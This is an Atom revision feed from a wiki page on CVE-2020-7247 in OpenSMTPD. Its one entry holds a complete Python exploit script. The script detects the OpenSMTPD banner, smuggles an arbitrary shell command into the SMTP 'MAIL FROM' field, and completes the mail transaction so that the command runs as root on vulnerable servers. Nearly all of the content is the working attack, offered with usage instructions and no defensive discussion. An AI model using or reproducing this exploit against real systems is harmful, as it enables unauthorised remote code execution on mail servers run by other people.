<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-7247_OpenSMTPD_6.6.2_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-7247 OpenSMTPD 6.6.2 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-7247_OpenSMTPD_6.6.2_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-7247_OpenSMTPD_6.6.2_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-17T06:59:15Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-7247_OpenSMTPD_6.6.2_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1291&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution # Date: 2020-01-29 # Exploit Author: 1F98D # Original Author: Qualys Security Advisory # Vendor Homepage...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-7247_OpenSMTPD_6.6.2_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1291&amp;oldid=prev"/>
		<updated>2021-04-09T02:46:07Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution # Date: 2020-01-29 # Exploit Author: 1F98D # Original Author: Qualys Security Advisory # Vendor Homepage...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution&lt;br /&gt;
# Date: 2020-01-29&lt;br /&gt;
# Exploit Author: 1F98D&lt;br /&gt;
# Original Author: Qualys Security Advisory&lt;br /&gt;
# Vendor Homepage: https://www.opensmtpd.org/&lt;br /&gt;
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1&lt;br /&gt;
# Version: OpenSMTPD &amp;lt; 6.6.2&lt;br /&gt;
# Tested on: Debian 9.11 (x64)&lt;br /&gt;
# CVE: CVE-2020-7247&lt;br /&gt;
# References:&lt;br /&gt;
# https://www.openwall.com/lists/oss-security/2020/01/28/3&lt;br /&gt;
#&lt;br /&gt;
# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately&lt;br /&gt;
# escape dangerous characters from user-controlled input. An attacker&lt;br /&gt;
# can exploit this to execute arbitrary shell commands on the target.&lt;br /&gt;
# &lt;br /&gt;
#!/usr/local/bin/python3&lt;br /&gt;
&lt;br /&gt;
from socket import *&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 4:&lt;br /&gt;
    print('Usage {} &amp;lt;target ip&amp;gt; &amp;lt;target port&amp;gt; &amp;lt;command&amp;gt;'.format(sys.argv[0]))&lt;br /&gt;
    print(&amp;quot;E.g. {} 127.0.0.1 25 'touch /tmp/x'&amp;quot;.format(sys.argv[0]))&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
ADDR = sys.argv[1]&lt;br /&gt;
PORT = int(sys.argv[2])&lt;br /&gt;
CMD = sys.argv[3]&lt;br /&gt;
&lt;br /&gt;
s = socket(AF_INET, SOCK_STREAM)&lt;br /&gt;
s.connect((ADDR, PORT))&lt;br /&gt;
&lt;br /&gt;
res = s.recv(1024)&lt;br /&gt;
if 'OpenSMTPD' not in str(res):&lt;br /&gt;
    print('[!] No OpenSMTPD detected')&lt;br /&gt;
    print('[!] Received {}'.format(str(res)))&lt;br /&gt;
    print('[!] Exiting...')&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
print('[*] OpenSMTPD detected')&lt;br /&gt;
s.send(b'HELO x\r\n')&lt;br /&gt;
res = s.recv(1024)&lt;br /&gt;
if '250' not in str(res):&lt;br /&gt;
    print('[!] Error connecting, expected 250')&lt;br /&gt;
    print('[!] Received: {}'.format(str(res)))&lt;br /&gt;
    print('[!] Exiting...')&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
print('[*] Connected, sending payload')&lt;br /&gt;
s.send(bytes('MAIL FROM:&amp;lt;;{};&amp;gt;\r\n'.format(CMD), 'utf-8'))&lt;br /&gt;
res = s.recv(1024)&lt;br /&gt;
if '250' not in str(res):&lt;br /&gt;
    print('[!] Error sending payload, expected 250')&lt;br /&gt;
    print('[!] Received: {}'.format(str(res)))&lt;br /&gt;
    print('[!] Exiting...')&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
print('[*] Payload sent')&lt;br /&gt;
s.send(b'RCPT TO:&amp;lt;root&amp;gt;\r\n')&lt;br /&gt;
s.recv(1024)&lt;br /&gt;
s.send(b'DATA\r\n')&lt;br /&gt;
s.recv(1024)&lt;br /&gt;
s.send(b'\r\nxxx\r\n.\r\n')&lt;br /&gt;
s.recv(1024)&lt;br /&gt;
s.send(b'QUIT\r\n')&lt;br /&gt;
s.recv(1024)&lt;br /&gt;
print('[*] Done')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>